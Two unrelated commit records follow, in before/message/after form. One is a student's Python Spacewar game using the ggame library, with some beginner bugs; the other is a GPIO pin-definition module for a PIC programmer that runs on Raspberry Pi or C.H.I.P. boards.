        [self.app.listenKeyEvent("keydown", k, self.controldown) for k in keys]
        [self.app.listenKeyEvent("keyup", k, self.controlup) for k in keys]

class Sun(Sprite):

    asset5 = ImageAsset("images/sun.png")
    height = 90
    width = 40

    def __init__(self, position):
        super().__init__(Sun.asset5, position)
        #self.circularCollisionModule()

myapp = SpaceGame(SCREEN_WIDTH, SCREEN_HEIGHT)
myapp.run()<commit_msg>Updated from Brython Server: 4/1/2016 2:38:08 PM<commit_after>"""
spaceshooter.py
Author: Daniel Wilson
Credit: Ethan Adner, Mr. D

Assignment:
Write and submit a program that implements the spacewar game:
https://github.com/HHS-IntroProgramming/Spacewar
"""
from ggame import App, RectangleAsset, ImageAsset, Sprite, LineStyle, Color, Frame
from ggame import SoundAsset, Sound, TextAsset, Color
import math
SCREEN_WIDTH = 1250
SCREEN_HEIGHT = 700

class SpaceShip(Sprite):
    """
    Animated space ship
    """
    asset = ImageAsset("images/four_spaceship_by_albertov_with_thrust.png",
        Frame(227,0,292-227,125), 4, 'vertical')

    def __init__(self, position):
        super().__init__(SpaceShip.asset, position)
        self.vx = 0
        self.vy = 0
        self.vr = 0.0
        self.thrust = 0
        self.thrustframe = 1
        #self. circularCollisionModule()
        #self.imagex = 0
        SpaceGame.listenKeyEvent("keydown", "w", self.thrustOn)
        SpaceGame.listenKeyEvent("keyup", "w", self.thrustOff)
        SpaceGame.listenKeyEvent("keydown", "s", self.UPON)
        #SpaceGame.listenKeyEvent("keyup", "s", self.stop)
        SpaceGame.listenKeyEvent("keydown", "a", self.Right)
        SpaceGame.listenKeyEvent("keyup", "a", self.stop)
        SpaceGame.listenKeyEvent("keydown", "d", self.Left)
        SpaceGame.listenKeyEvent("keyup", "d", self.stop)
        self.fxcenter = self.fycenter = 0.5

    def step(self):
        self.x += self.vx
        self.y += self.vy
        self.rotation += self.vr
        self.explode(self.x, self.y)
        if self.thrust == 1:
            self.setImage(self.thrustframe)
            self.thrustframe += 1
            self.vx += 0.03*math.cos(self.rotation+1/2*math.pi)
            self.vy += 0.03*math.sin(self.rotation-1/2*math.pi)
            if self.thrustframe == 4:
                self.thrustframe = 1
            else:
                self.setImage(0)
        col=self.collidingWithSprites(Sun)
        if col:
            print("boom")
            self.explode(self)

    def thrustOn(self, event):
        self.thrust = 1

    def thrustOff(self, event):
        self.thrust = 0

    def UPON(self, event):
        self.vy=1
    def DOWNON(self, event):
        self.vy=-1
    def Right(self, event):
        self.vr = .1
    def Left(self, event):
        self.vr = -.1
    def stop(self, event):
        self.vr=0

    def explode(self, event):
        self.visible = False
        self.vx=0
        self.vy=0
        ExplosionSmall(self.position)

class ExplosionSmall(Sprite):

    asset = ImageAsset("images/explosion1.png", Frame(0,0,128,128), 10)
    boomasset = SoundAsset("sounds/explosion1.mp3")

    def __init__(self, position):
        super().__init__(ExplosionSmall.asset, position)
        self.image = 0
        self.center = (0.5, 0.5)
        self.boom = Sound(ExplosionSmall.boomasset)
        self.boom.play()

    def step(self):
        self.setImage(self.image//2)  # slow it down
        self.image = self.image + 1
        if self.image == 20:
            self.destroy()

class SpaceGame(App):
    """
    Tutorial4 space game example.
    """
    def __init__(self, width, height):
        super().__init__(width, height)
        black = Color(0, 1)
        noline = LineStyle(0, black)
        bg_asset = ImageAsset("images/starfield.jpg")
        bg1 = Sprite(bg_asset, (0,0))
        bg2 = Sprite(bg_asset, (512,0))
        bg3 = Sprite(bg_asset, (0, 512))
        bg4 = Sprite(bg_asset, (512, 512))
        bg5 = Sprite(bg_asset, (1024, 512))
        bg6 = Sprite(bg_asset, (1024, 0))
        SpaceShip((100,100))
        Sun((500,300))

    def step(self):
        for ship in self.getSpritesbyClass(SpaceShip):
            ship.step()
        explosions=self.getSpritesbyClass(ExplosionSmall)
        for explosion in expolsions:
            explosion.step

def registerKeys(self, keys):
        commands = ["left", "right", "forward", "fire"]
        self.keymap = dict(zip(keys, commands))
        [self.app.listenKeyEvent("keydown", k, self.controldown) for k in keys]
        [self.app.listenKeyEvent("keyup", k, self.controlup) for k in keys]

class Sun(Sprite):

    asset5 = ImageAsset("images/sun.png")
    height = 90
    width = 40

    def __init__(self, position):
        super().__init__(Sun.asset5, position)

myapp = SpaceGame(SCREEN_WIDTH, SCREEN_HEIGHT)
myapp.run()<|endoftext|>


<commit_before>###############################
#
#  burnGPIO.py
#
#  GPIO definition interface
#
#  Put All your pin definition here
#  All class will use this file for reference
#
#

global PIC_CLK
global PIC_DATA
global PIC_MCLR
global PIC_PGM

# check CHIP or it is a raspberry Pi

f = open('/proc/cpuinfo','r')
cpuinfo = f.read()
f.close()

if cpuinfo.find('Allwinner') >0 :
   #  ------  chip  ------
   print('C.H.I.P GPIO')
   import CHIP_IO.GPIO as GPIO
   GPIO.cleanup()
   #CLK GPIO
   PIC_CLK = 'LCD-D15'

   #DATA GPIO
   PIC_DATA = 'LCD-D19'

   #MCLR GPIO
   PIC_MCLR = 'LCD-D21'

   #PGM
   PIC_PGM = 'LCD-D23'

else:
   #  ------ Raspberry Pi --
   print('Raspberry Pi GPIO')
   import RPi.GPIO as GPIO

   #CLK GPIO
   PIC_CLK = 7

   #DATA GPIO
   PIC_DATA = 24

   #MCLR GPIO
   PIC_MCLR = 21

   #PGM
   PIC_PGM = 26

def Setup_Interface():
  GPIO.setwarnings(False)
  GPIO.setmode(GPIO.BOARD)
  GPIO.setup(PIC_MCLR,GPIO.OUT)
  GPIO.output(PIC_MCLR,False)
  GPIO.setup(PIC_CLK,GPIO.OUT)
  GPIO.setup(PIC_DATA,GPIO.OUT)
  GPIO.setup(PIC_PGM,GPIO.OUT)

<commit_msg>C.H.I.P. and CHIP_IO compatible<commit_after>###############################
#
#  burnGPIO.py
#
#  GPIO definition interface
#
#  Put All your pin definition here
#  All class will use this file for reference
#
#

global PIC_CLK
global PIC_DATA
global PIC_MCLR
global PIC_PGM

global isCHIP

isCHIP=False

# check CHIP or it is a raspberry Pi

f = open('/proc/cpuinfo','r')
cpuinfo = f.read()
f.close()

if cpuinfo.find('Allwinner') >0 :
   #  ------  chip  ------
   print('C.H.I.P GPIO')
   isCHIP=True
   import CHIP_IO.GPIO as MGPIO
   MGPIO.cleanup()
   #CLK GPIO
   PIC_CLK = 'LCD-D15'

   #DATA GPIO
   PIC_DATA = 'LCD-D19'

   #MCLR GPIO
   PIC_MCLR = 'LCD-D21'

   #PGM
   PIC_PGM = 'LCD-D23'

else:
   #  ------ Raspberry Pi --
   print('Raspberry Pi GPIO')
   import RPi.GPIO as MGPIO

   #CLK GPIO
   PIC_CLK = 7

   #DATA GPIO
   PIC_DATA = 24

   #MCLR GPIO
   PIC_MCLR = 21

   #PGM
   PIC_PGM = 26

class MyGPIO:

    def __init__(self, gpio):
        self.BOARD = gpio.BOARD
        self.OUT   = gpio.OUT
        self.IN    = gpio.IN
        self.gpio  = gpio

    def setup(self, pin, INOUT):
        if isCHIP:
            self.gpio.direction(pin,INOUT)
        else:
            self.gpio.setup(pin,INOUT)

    def setwarnings(self, flag):
        self.gpio.setwarnings(flag)

    def setmode(self , mode):
        if not isCHIP:
           self.gpio.setmode(GPIO.BOARD)

    def output(self, pin , value):
        self.gpio.output(pin,value)

    def input(self, pin):
        return self.gpio.input(pin)

GPIO = MyGPIO(MGPIO)

def Setup_Interface():
  GPIO.setwarnings(False)
  GPIO.setmode(GPIO.BOARD)
  MGPIO.setup(PIC_MCLR,GPIO.OUT)
  MGPIO.output(PIC_MCLR,False)
  MGPIO.setup(PIC_CLK,GPIO.OUT)
  MGPIO.setup(PIC_DATA,GPIO.OUT)
  MGPIO.setup(PIC_PGM,GPIO.OUT)

<|endoftext|>